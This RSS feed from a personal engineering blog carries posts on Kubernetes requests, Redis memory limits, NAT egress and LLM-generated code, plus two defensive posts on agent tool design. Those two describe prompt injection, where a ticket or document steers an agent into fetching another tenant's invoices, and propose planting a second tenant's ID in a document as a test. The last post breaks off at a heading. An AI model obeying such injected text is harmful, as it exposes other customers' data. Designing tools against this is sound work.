<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title><![CDATA[Darko Gjorgjijoski · Blog]]></title>
    <atom:link href="https://darkog.com/rss" rel="self" type="application/rss+xml" />
    <link>https://darkog.com</link>
    <description><![CDATA[Posts by Darko Gjorgjijoski: software engineering, infrastructure, AI, and the occasional grumpy take.]]></description>
    <language>en-US</language>
    <lastBuildDate>Mon, 27 Jul 2026 00:00:00 GMT</lastBuildDate>
    <item>
      <title><![CDATA[Resource requests are load-bearing]]></title>
      <link>https://darkog.com/blog/resource-requests-are-load-bearing</link>
      <pubDate>Mon, 27 Jul 2026 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[DevOps]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/resource-requests-are-load-bearing</guid>
      <description><![CDATA[Fifteen pods used roughly 1.4 GB without declaring requests. How that distorts scheduling, increases eviction risk, and changes how I size workloads.]]></description>
      <media:content url="https://media.darkog.com/uploads/2026/07/d1-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2026/07/d1-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">Adding a node creates fresh scheduling capacity, but it does not move existing running pods. New pods, including replacements created during rollouts or after eviction, can land there. If their containers declare no resource requests, the scheduler has an incomplete picture of the capacity they need.</p>



<p class="wp-block-paragraph">That was the risk I found while reviewing one cluster: fifteen pods declared neither requests nor limits, despite consuming roughly 1.4 GB of memory between them.</p>



<h2 class="wp-block-heading">The scheduler does not look at usage</h2>



<p class="wp-block-paragraph">This is the part that surprises people, and it surprised me for longer than I would like to admit. When Kubernetes decides where a pod goes, it does not measure how much memory or CPU that pod actually consumes. It reads <code>spec.containers[].resources.requests</code> and treats that number as the truth.</p>



<p class="wp-block-paragraph">For scheduling feasibility, a container with no effective request reserves no capacity for that resource. Check the admitted Pod specification: admission policies can supply defaults, and a limit can become the request when no request is specified. Actual usage still matters to node health, even when it is absent from scheduling accounting.</p>



<p class="wp-block-paragraph">Node scoring combines several configured plugins and constraints. Resource allocation is one input, so a node with spare capacity on paper can be attractive even when workloads use more than their requests suggest. It does not necessarily win every scheduling decision.</p>



<p class="wp-block-paragraph">The practical risk is overcommitment: replacement or newly created pods can fit according to requests while leaving too little real memory headroom. Adding capacity does not correct missing requests on existing workloads.</p>



<h2 class="wp-block-heading">What it costs</h2>



<p class="wp-block-paragraph">The count is usually higher than expected. On one cluster, fifteen pods had no requests declared at all. Their actual combined usage was roughly 1.4 GB of memory. That was 1.4 GB the scheduler did not know about, distributed across nodes according to a model that said it did not exist.</p>



<p class="wp-block-paragraph">None of it had caused an outage, which is what makes it easy to leave alone. The cluster looks balanced in every dashboard that reports requests, and is quietly not balanced at all.</p>



<h2 class="wp-block-heading">The second problem: QoS class</h2>



<p class="wp-block-paragraph">Requests and limits also determine Pod quality of service. For memory-pressure eviction, kubelet considers whether usage exceeds requests, Pod priority, and usage relative to requests. QoS is a useful guide to likely behaviour, not a strict eviction queue.</p>



<ul class="wp-block-list">

<li><strong>Guaranteed</strong>: every container sets CPU and memory requests equal to its limits for both resources.</li>


<li><strong>Burstable</strong>: the Pod has a CPU or memory request or limit, but does not meet the Guaranteed criteria.</li>


<li><strong>BestEffort</strong>: no container sets CPU or memory requests or limits.</li>

</ul>



<p class="wp-block-paragraph">Every one of those fifteen pods was BestEffort. With no memory request, any memory use puts a pod above its request, making it vulnerable to eviction under memory pressure. Missing requests hurt both placement accounting and resilience.</p>



<h2 class="wp-block-heading">Sizing requests without guessing</h2>



<p class="wp-block-paragraph">The advice to &#8220;just set requests&#8221; is easy to give and annoying to act on, because the obvious question is what number to use. Two rules got me most of the way.</p>



<p class="wp-block-paragraph"><strong>Size requests from observed usage, not from fear.</strong> Look at what the workload actually consumes in steady state and set the request near that, with a little headroom. Requests are a reservation. Every megabyte you request is a megabyte no other pod can be scheduled against, whether or not you ever touch it. Inflating requests to feel safe is how you end up buying a node you did not need.</p>



<pre class="wp-block-code"><code>kubectl top pods -A --sort-by=memory

# and the inverse: everything that declares nothing
kubectl get pods -A -o json | jq -r '
  .items[] | select(
    [.spec.containers[].resources.requests // {}] | map(length) | add == 0
  ) | "\(.metadata.namespace)/\(.metadata.name)"'</code></pre>



<p class="wp-block-paragraph"><strong>Size limits separately from requests.</strong> With explicit requests, raising a limit does not reserve additional scheduling capacity. It does allow more runtime consumption: generous memory limits across many pods can still exhaust a node, while CPU limits can throttle work. Choose limits from workload measurements and the headroom available, rather than a universal multiplier.</p>



<p class="wp-block-paragraph">There is one important exception. If a process has its own internal memory ceiling, setting the container limit equal to that ceiling will get it killed before its own eviction logic ever runs. That is a specific enough trap that it deserves its own post, and I have written one.</p>



<h2 class="wp-block-heading">The rule I settled on</h2>



<p class="wp-block-paragraph">Every deployment declares requests. Not because every workload is important, but because a workload that declares nothing is invisible to the only model the scheduler has. An unimportant pod that lies about costing zero does more damage to placement decisions than an important one that tells the truth.</p>



<p class="wp-block-paragraph">Include init containers in the review. Their requests contribute to the Pod’s effective scheduling requirement even though ordinary init containers run sequentially. The command above checks application containers only; inspect <code>spec.initContainers</code> separately.</p>



<p class="wp-block-paragraph">If you want one thing to check after reading this, run the second command above. The output is usually shorter than you expect and more interesting than you want.</p>


<p class="wp-block-paragraph">References: <a href="https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/">Kubernetes resource management</a>, <a href="https://kubernetes.io/docs/concepts/scheduling-eviction/kube-scheduler/">scheduling</a>, and <a href="https://kubernetes.io/docs/concepts/scheduling-eviction/node-pressure-eviction/">node-pressure eviction</a>.</p>


]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Never set a Redis memory limit equal to its maxmemory]]></title>
      <link>https://darkog.com/blog/never-set-a-redis-memory-limit-equal-to-its-maxmemory</link>
      <pubDate>Tue, 09 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[DevOps]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/never-set-a-redis-memory-limit-equal-to-its-maxmemory</guid>
      <description><![CDATA[Twelve OOMKills in a row on an instance configured to evict. The eviction policy was fine. It just never got a turn.]]></description>
      <media:content url="https://media.darkog.com/uploads/2026/06/d2-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2026/06/d2-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">A Redis instance was OOMKilled twelve times in a row. It had a 256 MB memory limit and a <code>maxmemory</code> of 256 MB, an eviction policy that should have kept it comfortably inside that, and no obvious reason to die. It died anyway, restarted, filled up, and died again.</p>



<p class="wp-block-paragraph">The two numbers being equal is the entire bug.</p>



<h2 class="wp-block-heading">Why matching them is wrong</h2>



<p class="wp-block-paragraph">Setting <code>maxmemory</code> equal to the container limit looks like the careful thing to do. You are telling Redis exactly how much room it has, and telling the kernel the same number. Nothing is wasted.</p>



<p class="wp-block-paragraph">The problem is that <code>maxmemory</code> is an eviction threshold, not a ceiling on the Redis process’s resident memory. Redis accounts for memory allocations, with exclusions such as replication and AOF buffers. Resident memory can be higher because of fragmentation and other overhead.</p>



<p class="wp-block-paragraph">Replication and AOF buffers, allocator fragmentation, and copy-on-write memory during persistence can all affect the headroom needed. The amount depends on the workload and configuration; dataset size alone is not enough to choose a container limit.</p>



<p class="wp-block-paragraph">So the sequence goes like this. Redis fills toward <code>maxmemory</code>. Its own bookkeeping says it is approaching the ceiling and eviction should begin shortly. But the resident set size the kernel sees crossed the cgroup limit some time ago, because of everything in the paragraph above. The kernel does not wait politely for Redis to finish its own accounting. The OOM killer fires, the container dies, and it restarts empty.</p>



<p class="wp-block-paragraph">Then it fills up again. Twelve times, before anyone looked at it properly.</p>



<h2 class="wp-block-heading">Eviction never gets a turn</h2>



<p class="wp-block-paragraph">The detail worth sitting with is that the eviction policy is not broken. It is never reached. Whatever you configured, <code>allkeys-lru</code> or <code>volatile-lru</code> or anything else, is a strategy for staying under <code>maxmemory</code>, and the process is being killed before that strategy has any work to do.</p>



<p class="wp-block-paragraph">This is why the symptom is confusing. You configured eviction. You can see the policy is set. The instance still dies as if it had <code>noeviction</code>. The logs show a clean start and then nothing useful, because being OOMKilled is not something a process gets to write a log line about.</p>



<pre class="wp-block-code"><code>kubectl get pod &lt;pod&gt; -o jsonpath='{.status.containerStatuses[0].lastState.terminated.reason}'
# OOMKilled

kubectl get pod &lt;pod&gt; -o jsonpath='{.status.containerStatuses[0].restartCount}'
# 12</code></pre>



<p class="wp-block-paragraph">If you see <code>OOMKilled</code> with a rising restart count, compare the container limit, <code>maxmemory</code>, and observed memory usage. Equal limits are one likely cause, but bursts, persistence, fragmentation, and other memory pressure also need investigation.</p>



<h2 class="wp-block-heading">The fix</h2>



<p class="wp-block-paragraph">Give <code>maxmemory</code> real headroom under the container limit. I use half, which is more conservative than strictly necessary and costs nothing I care about on a cache.</p>



<pre class="wp-block-code"><code>commonConfiguration: |-
  maxmemory 128mb
  maxmemory-policy allkeys-lru
  save ""
  appendonly no

master:
  resources:
    requests:
      memory: 128Mi
    limits:
      memory: 256Mi</code></pre>



<p class="wp-block-paragraph">The 50% setting is my choice for this cache, not a universal sizing rule. Measure memory under representative load and during persistence or replication activity. This example disables persistence and is suitable only where cached data can be rebuilt.</p>



<p class="wp-block-paragraph">Watch both Redis and container metrics. <code>used_memory</code> reports Redis allocation accounting; <code>used_memory_rss</code> reports resident process memory. Container memory accounting determines enforcement of the cgroup limit and can include more than that process RSS.</p>



<pre class="wp-block-code"><code>redis-cli INFO memory | grep -E 'used_memory_human|used_memory_rss_human|mem_fragmentation_ratio'</code></pre>



<p class="wp-block-paragraph">A fragmentation ratio meaningfully above 1 tells you how much of a gap you are dealing with. That is the gap your headroom has to cover.</p>



<h2 class="wp-block-heading">It is not really about Redis</h2>



<p class="wp-block-paragraph">The general shape of this applies to anything that manages its own memory ceiling inside a cgroup limit. A JVM with <code>-Xmx</code> set to the container limit will be killed before it can garbage collect its way out of trouble, because heap is not the only thing in a JVM process. The same reasoning covers PHP-FPM worker counts multiplied by <code>memory_limit</code>, and any runtime with a configurable arena.</p>



<p class="wp-block-paragraph">The rule is the same in each case. The number the application uses to decide when to start managing its own memory has to be below the number the kernel uses to decide when to kill it. If they are equal, the application&#8217;s own protection never runs.</p>



<p class="wp-block-paragraph">Worth checking your chart defaults, incidentally. A packaged chart will happily let you set both values to the same number, because it looks tidy.</p>


<p class="wp-block-paragraph">See <a href="https://redis.io/docs/latest/develop/reference/eviction/">Redis’s eviction documentation</a> for how <code>maxmemory</code> and excluded buffers interact.</p>


]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[One public IPv4 for the whole cluster]]></title>
      <link>https://darkog.com/blog/one-public-ipv4-for-the-whole-cluster</link>
      <pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[DevOps]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/one-public-ipv4-for-the-whole-cluster</guid>
      <description><![CDATA[Workers with no public address of their own, and a default route that reads correctly on a whiteboard and fails silently on the wire.]]></description>
      <media:content url="https://media.darkog.com/uploads/2026/04/d3-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2026/04/d3-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">Public IPv4 addresses are now a line item worth thinking about. Paying for one per node, so that machines which only ever make outbound connections each get their own, is money spent on nothing. So I run a single one: the control plane has a routable public address, and the workers have none.</p>



<p class="wp-block-paragraph">That arrangement is common enough. What is less commonly written down is the specific way it fails when you build it on a cloud private network, and why the fix is not where you would look for it.</p>



<h2 class="wp-block-heading">The shape</h2>



<p class="wp-block-paragraph">In my setup, application ingress arrives at the node with the public IPv4 address, then routes to workloads across the cluster. Direct access to workers is controlled separately through their network configuration and firewall rules.</p>



<p class="wp-block-paragraph">Outbound is where the work is. Workers still need to reach the internet: pulling images, calling third party APIs, fetching packages during a build. With no public address of their own, that traffic has to leave through the one node that has one. So the master becomes a NAT gateway for the rest of the cluster.</p>



<p class="wp-block-paragraph">Check public IPv4 and IPv6 separately. A worker without a public IPv4 address may still have public IPv6 connectivity. Removing IPv4 alone does not make the machine unreachable from the internet; routing, firewall rules, and exposed services determine that.</p>



<h2 class="wp-block-heading">The part that does not work</h2>



<p class="wp-block-paragraph">The obvious configuration is to give each worker a default route pointing at the master&#8217;s private address. It reads correctly. It is what you would write on a whiteboard.</p>



<pre class="wp-block-code"><code># looks right, does not work
ip route add default via 10.0.0.2 dev eth0 onlink</code></pre>



<p class="wp-block-paragraph">It fails silently. Packets go nowhere and you get no useful error, because nothing is technically wrong with the configuration. The problem is an assumption underneath it.</p>



<p class="wp-block-paragraph">A cloud private network that presents itself as <code>10.0.0.0/24</code> is not necessarily a flat layer 2 segment. On the provider I use, each node&#8217;s interface holds a <code>/32</code>. Every node has exactly one address and no notion of a neighbouring range. All traffic between hosts, even hosts that appear to sit in the same subnet, is routed through the provider&#8217;s gateway.</p>



<p class="wp-block-paragraph">The consequence is that nodes are not directly reachable at the link layer. Their ARP tables hold the gateway&#8217;s MAC address and nothing else. <code>onlink</code> tells the kernel to send the frame directly to the next hop without needing a route to it, which is precisely the thing that cannot happen here. The frame cannot be delivered to the master, because there is no path to the master that does not go through the gateway first.</p>



<p class="wp-block-paragraph">You can confirm this quickly on any node:</p>



<pre class="wp-block-code"><code>ip route show
# 10.0.0.0/24 via 10.0.0.1 dev eth0

ip neigh show dev eth0
# only the gateway appears, never the other nodes</code></pre>



<p class="wp-block-paragraph">If your route table says the whole subnet is reachable <em>via</em> a gateway rather than directly on the device, you are in this situation, and any configuration that assumes host to host adjacency will fail.</p>



<h2 class="wp-block-heading">Where the fix actually lives</h2>



<p class="wp-block-paragraph">The fix spans both the workers and the provider network. Each worker needs a default route to the private network gateway; the provider network then needs a route forwarding internet-bound traffic to the NAT host.</p>



<p class="wp-block-paragraph">On Hetzner, add a network route for <code>0.0.0.0/0</code> with the NAT host’s private address as the destination gateway. On each worker, configure a default route via the provider’s private gateway, such as <code>10.0.0.1</code>. The two routes serve different purposes, and both are needed. Make the worker route persistent using the host’s network configuration.</p>



<p class="wp-block-paragraph">The master then needs to be willing to forward and to masquerade, which is ordinary Linux:</p>



<pre class="wp-block-code"><code>net.ipv4.ip_forward=1

iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE</code></pre>



<p class="wp-block-paragraph">Two things to get right here. Make the sysctl persistent, or the cluster loses egress on the next reboot of the master. And make sure your masquerade rule survives whatever else is writing to iptables on that host, which on a Kubernetes node is a great deal.</p>



<h2 class="wp-block-heading">What this costs you</h2>



<p class="wp-block-paragraph">Worth being clear that this is a real tradeoff, not a free saving.</p>



<ul class="wp-block-list">

<li>The master becomes a single point of failure for all outbound traffic. If it goes down, workers keep running but stop being able to pull images or reach any external service.</li>


<li>All egress shares one source address, so any rate limiting or reputation applied by an external service now applies to your whole cluster at once.</li>


<li>The master carries traffic it would not otherwise carry, which matters if it is also your smallest node.</li>

</ul>



<p class="wp-block-paragraph">For a cluster where a brief loss of outbound connectivity is an inconvenience rather than an outage, that is a reasonable trade. For anything where it is not, you want a second gateway and a failover story, and at that point the cost saving has mostly evaporated.</p>



<p class="wp-block-paragraph">The general lesson I took from it is narrower than the setup: when a network behaves in a way your configuration says is impossible, check whether the subnet you were handed is actually a subnet.</p>


<p class="wp-block-paragraph">For the provider-specific routing model and examples, see <a href="https://docs.hetzner.com/networking/networks/technical-concepts/architecture/">Hetzner’s network architecture documentation</a>.</p>


]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Capability scoping for agent tools]]></title>
      <link>https://darkog.com/blog/capability-scoping-for-agent-tools</link>
      <pubDate>Tue, 17 Feb 2026 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[AI]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/capability-scoping-for-agent-tools</guid>
      <description><![CDATA[Handing an agent one broad tool and a polite note about what not to do is a deny-list, and it inherits every problem deny-lists have.]]></description>
      <media:content url="https://media.darkog.com/uploads/2026/02/ai2-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2026/02/ai2-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">The fastest way to give an agent capability is to give it one broad tool. Run this SQL. Call this endpoint. Execute this shell command. One tool, unlimited reach, and the constraints expressed as instructions about what not to do.</p>



<p class="wp-block-paragraph">The broad tool is quick to expose, but the difficult work remains: restricting what its credentials and implementation actually permit.</p>



<p class="wp-block-paragraph">My position is that agent safety is mostly an API design problem, and that the prompt is the weakest available place to put a constraint. Not useless, but weakest. If a limit matters, it belongs in the shape of the tool, where the model&#8217;s cooperation is not required.</p>



<h2 class="wp-block-heading">Allow-list, do not deny-list</h2>



<p class="wp-block-paragraph">A generic tool with instructions is a deny-list, and it inherits every problem deny-lists have ever had. You are enumerating the bad cases, and the set of bad cases is larger than your imagination.</p>



<p class="wp-block-paragraph">Consider a tool that runs arbitrary SQL. Database permissions must enforce read-only access; a prompt is no substitute. Even with reads correctly enforced, unrestricted queries can expose other users’ data or exhaust resources through expensive joins.</p>



<p class="wp-block-paragraph">Now consider seven narrow tools instead: list posts, get one post, create a draft, update a draft, import an image from a URL, set a draft’s featured image, and publish. This makes the intended operations explicit. Each still needs authorization, argument validation, resource limits, and tests; an image import, for example, must constrain the URLs it can fetch.</p>



<p class="wp-block-paragraph">The trade is real. The narrow surface cannot do things you did not anticipate, which is frustrating the first time you want one of them. That inflexibility is the feature. A surface that can do things you did not anticipate is the definition of the problem.</p>



<h2 class="wp-block-heading">Four rules that survive contact</h2>



<p class="wp-block-paragraph"><strong>No delete in this content workflow.</strong> Drafting and review do not need deletion, so I leave that operation outside the agent’s tools. Other workflows may need deletion, with recovery and authorization designed for that use case.</p>



<p class="wp-block-paragraph"><strong>Mutation only on unpublished state.</strong> An agent that can edit drafts can be wrong in private. An agent that can edit live content is wrong in public, at whatever scale your audience happens to be. Reject the operation at the tool boundary based on the record&#8217;s state, not on whether the model believed it was editing a draft.</p>



<p class="wp-block-paragraph"><strong>Make publication explicit.</strong> A separate publish operation requiring <code>confirm=true</code> avoids publishing as a side effect of editing. That flag is an API safeguard, not proof of human approval: a model can supply it. If human review is required, an approval mechanism outside the model must enforce it.</p>



<p class="wp-block-paragraph"><strong>No generic escape hatch.</strong> Frameworks in this space often ship something like an execute-any-registered-capability tool, because it is genuinely useful during development. Shipping it defeats every other rule on this list in a single line, since the narrow tools become decoration around a general one. If a capability framework offers a default server exposing everything, turn it off and register only what you meant to expose.</p>



<h2 class="wp-block-heading">Separate the principal, not just the tools</h2>



<p class="wp-block-paragraph">Narrow tools running as an administrator are narrow by convention only. If the underlying credential can do anything, then any bug in the tool layer, any path traversal in an argument, any unescaped identifier, restores the full surface.</p>



<p class="wp-block-paragraph">The agent gets a dedicated role whose permissions match the allowed workflow. In this seven-tool example, that includes publishing through the explicit publish operation, while draft updates reject published records. Plugin installation, user management, and unrelated REST routes remain unavailable. A draft-only deployment should omit the publish tool and remove the credential’s publication permission as well.</p>



<p class="wp-block-paragraph">This is also what makes the audit trail worth having. Actions arrive attributed to the agent&#8217;s own principal, so &#8220;what did the agent change last Tuesday&#8221; is a query rather than an investigation.</p>



<h2 class="wp-block-heading">The test I would run before shipping any of it</h2>



<p class="wp-block-paragraph">Assume the model is fully compromised. Every instruction in its context is adversarial, and it will take the worst action available to it. Now enumerate what it can do.</p>



<p class="wp-block-paragraph">If the answer includes publication, account for the possibility that the agent will publish. If the intended boundary is only creating and editing drafts for human review, enforce that narrower boundary in both the tools and credentials. Judge the design by the worst action actually available.</p>



<p class="wp-block-paragraph">None of this is an argument for keeping agents away from real systems. I want them wired into real systems, because that is where they are useful. It is an argument that the interesting work is in the tool surface rather than the prompt, and that the tool surface is where I would spend the review time.</p>

]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Who is the agent acting for?]]></title>
      <link>https://darkog.com/blog/who-is-the-agent-acting-for</link>
      <pubDate>Tue, 18 Nov 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[AI]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/who-is-the-agent-acting-for</guid>
      <description><![CDATA[An agent answering with the wrong customer’s data does not look like a failure. It looks like it worked.]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/11/ai1-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/11/ai1-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">An agent that answers a question using data from the wrong customer does not look like a failure. It looks like it worked. The response is fluent, relevant, and correct in every respect except the one that matters, which is that the person reading it was never entitled to see it.</p>



<p class="wp-block-paragraph">That is the property I care about most when someone shows me an agent wired into real data, and it is usually the property nobody has thought about. The question I ask is simple and it is uncomfortable more often than not: who is this agent acting for?</p>



<h2 class="wp-block-heading">The shape almost everyone builds first</h2>



<p class="wp-block-paragraph">The first version of an agent with data access nearly always looks like this. There is one service account. It can read everything, because during development reading everything is convenient and any narrower permission is a thing you have to stop and configure. Tenant scoping arrives as context: the system prompt says which customer the conversation is about, and the tools accept a customer identifier as an argument.</p>



<p class="wp-block-paragraph">It works. It demos beautifully. And the authorisation boundary now lives in a string that a language model is being politely asked to respect.</p>



<p class="wp-block-paragraph">I want to be precise about why that is a problem, because &#8220;prompts are unreliable&#8221; is a lazy way to put it and invites the equally lazy answer of writing a firmer prompt.</p>



<h2 class="wp-block-heading">The model cannot refuse what the tool permits</h2>



<p class="wp-block-paragraph">If a tool signature accepts a tenant identifier, then choosing that identifier is part of the model&#8217;s job. You have made it a decision. And the model makes that decision from whatever is in its context, which includes the conversation, the retrieved documents, and anything a user typed.</p>



<p class="wp-block-paragraph">The failure does not require an attacker. Three ordinary things cause it:</p>



<ul class="wp-block-list">

<li><strong>Drift.</strong> A long conversation mentions several accounts. The correct identifier for turn twelve is not obviously the one from turn two, and nothing in the loop is tracking which was authoritative.</li>


<li><strong>Helpfulness.</strong> A user asks a comparative question. Answering it well requires data from a second tenant. The model has a tool that can fetch it and no reason to believe it should not.</li>


<li><strong>Injected content.</strong> Any text the agent reads and did not author is a potential instruction. A support ticket, a document, a product description. If reading is enough to influence which identifier gets passed, then whoever writes that content shares control of the boundary.</li>

</ul>



<p class="wp-block-paragraph">All three have the same root. The identity of the principal is being derived from content, and content is not a trustworthy source of identity.</p>



<h2 class="wp-block-heading">Move the decision out of the model</h2>



<p class="wp-block-paragraph">The fix is not a better instruction. It is removing the parameter.</p>



<p class="wp-block-paragraph">The tool should resolve the principal from the session, server side, and the model should have no way to express a different one. Compare these two signatures:</p>



<pre class="wp-block-code"><code># the model chooses. the boundary is advisory.
get_invoices(tenant_id: str, status: str) -> list

# the model cannot choose. the boundary is structural.
get_invoices(status: str) -> list
    # tenant resolved from the authenticated session, not from arguments</code></pre>



<p class="wp-block-paragraph">The second signature makes the cross-tenant request unrepresentable. There is no argument to get wrong, no string to be talked into changing, and no prompt to harden. An injected instruction telling the agent to fetch another customer&#8217;s invoices produces a tool call that is identical to the correct one, because the tenant was never the model&#8217;s to supply.</p>



<p class="wp-block-paragraph">This is worth being stubborn about, because there is always a use case that seems to need the parameter. An internal admin agent that legitimately spans tenants, for instance. The answer is a separate tool surface with a separate principal, not one surface with a flag, because a flag is exactly the thing that gets set incorrectly.</p>



<h2 class="wp-block-heading">Three questions worth answering before shipping</h2>



<p class="wp-block-paragraph"><strong>What can this principal reach if the model is fully compromised?</strong> Assume every instruction in the context window is adversarial and the model does exactly the worst permitted thing. The blast radius is the answer, and it should be the tenant, not the estate.</p>



<p class="wp-block-paragraph"><strong>Can you prove after the fact which principal did what?</strong> If every tool call reaches the database as the same service account, your audit log records that the agent did it, which is not useful during an incident. The principal has to be visible at the point of access, not just in the application layer above it.</p>



<p class="wp-block-paragraph"><strong>Have you actually tried?</strong> Write the test. Put a second tenant&#8217;s identifier in a document the agent will read, ask a question that would be better answered with cross-tenant data, and see what the tool layer receives. This is a cheap test and it is skipped almost universally, because the happy path demos so well that nobody goes looking.</p>



<h2 class="wp-block-heading">Why this keeps happening</h2>



<p class="wp-block-paragraph">Because it is a genuinely new place for an old bug. We already know not to trust client-supplied identifiers in a web request. Nobody sensible reads a user ID from a query string and returns that user&#8217;s data. But an agent&#8217;s tool arguments feel like internal function calls rather than untrusted input, and they are treated accordingly.</p>



<p class="wp-block-paragraph">They are not internal. They are values produced by a process that consumed untrusted text. The moment you look at them that way, the design follows on its own, and the prompt goes back to being what it should have been: a description of how to be useful, carrying no security weight at all.</p>

]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[LLMs are good at code you can verify, and bad at code you cannot]]></title>
      <link>https://darkog.com/blog/llms-are-good-at-code-you-can-verify-and-bad-at-code-you-cannot</link>
      <pubDate>Tue, 14 Oct 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Software Engineering]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/llms-are-good-at-code-you-can-verify-and-bad-at-code-you-cannot</guid>
      <description><![CDATA[Generated code arrives with no uncertainty attached, whether or not any of it was warranted. The reader supplies the confidence.]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/10/se1-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/10/se1-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">The usual way people divide up what an LLM is good at is by difficulty. Fine for boilerplate, unreliable for hard problems. I think that framing is wrong, and following it leads you to delegate the wrong work.</p>



<p class="wp-block-paragraph">The axis that predicts outcomes is not difficulty. It is whether you can cheaply tell that the result is correct.</p>



<h2 class="wp-block-heading">Two piles</h2>



<p class="wp-block-paragraph">Put a task in the first pile if being wrong is loud. A parser with a table of inputs and expected outputs. A pure transformation between two data shapes. A refactor the type checker will reject if it breaks. A regex with a fixture file. Query construction you can run against a snapshot and diff. In all of these, wrongness announces itself in seconds and the cost of a bad answer is the time it took to run the check.</p>



<p class="wp-block-paragraph">Put it in the second pile if being wrong is quiet. Concurrency, where the bug appears under load on a Tuesday. Anything security relevant, because you cannot write a test asserting the absence of a vulnerability. A data migration, which is destructive and runs once. Performance work, where you need measurements to know if you helped. Error handling paths that only execute during an incident. Cache invalidation, where the failure is stale data that looks like data.</p>



<p class="wp-block-paragraph">Difficulty cuts across both piles. A tricky bit-manipulation routine is hard and belongs firmly in the first pile, because you can test it exhaustively. A three-line change to a permission check is trivial and belongs in the second, because nothing will tell you it is wrong until it matters.</p>



<h2 class="wp-block-heading">The confidence is flat, which is the trap</h2>



<p class="wp-block-paragraph">A model produces code with the same fluency in both piles. There is no tremor in the output when it moves from a well-trodden transformation to a subtle memory-ordering question. The prose in the explanation is equally assured. Variable names are equally sensible. It compiles either way.</p>



<p class="wp-block-paragraph">Human collaborators leak signal here in a way that models do not. A colleague who is unsure tends to say so, or hedges, or writes a comment asking whether this is right. That signal is a real part of how review works, and its absence is easy to underestimate. Generated code arrives with no uncertainty attached, so the reader supplies the confidence themselves, and the reader is usually in a hurry.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="434" src="https://media.darkog.com/uploads/2025/10/task-piles-1024x434.webp" alt="" class="wp-image-2179" srcset="https://media.darkog.com/uploads/2025/10/task-piles-1024x434.webp 1024w, https://media.darkog.com/uploads/2025/10/task-piles-300x127.webp 300w, https://media.darkog.com/uploads/2025/10/task-piles-768x326.webp 768w, https://media.darkog.com/uploads/2025/10/task-piles-1536x652.webp 1536w, https://media.darkog.com/uploads/2025/10/task-piles.webp 1584w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<h2 class="wp-block-heading">What this changes in practice</h2>



<p class="wp-block-paragraph">Three things, and none of them are about writing better prompts.</p>



<p class="wp-block-paragraph"><strong>Spend the assistance where the loop is tight.</strong> If a task has a check that runs in under a minute, delegate generously and iterate against the check rather than reading closely. Reading generated code line by line is slow and, for this pile, largely redundant, because the check is a better reviewer than you are.</p>



<p class="wp-block-paragraph"><strong>In the second pile, use it for a draft you intend to rewrite.</strong> Not for the answer. A generated first attempt at a concurrency fix is useful the way a colleague&#8217;s whiteboard sketch is useful: it surfaces the shape and the cases you had not considered. Shipping it because it looks reasonable is the failure. The verification cost has not gone anywhere just because the writing cost dropped.</p>



<p class="wp-block-paragraph"><strong>Move work from the second pile to the first.</strong> This is the part I find genuinely interesting. Checkability is not a fixed property of a task. It is a property of your codebase.</p>



<p class="wp-block-paragraph">A permission check with an exhaustive table-driven test moves piles. A migration with a dry-run mode and a reversible path moves piles. Concurrency logic pulled behind an interface you can deterministically exercise moves piles. A performance-sensitive path with a benchmark you actually run in CI moves piles.</p>



<p class="wp-block-paragraph">Every one of those was already good engineering, and every one of them was easy to skip. What has changed is the return: investment in checkability now directly increases how much work you can safely hand off. That reframes test and type discipline from hygiene into leverage, which is a better argument than the one we had before.</p>



<h2 class="wp-block-heading">The failure I keep seeing</h2>



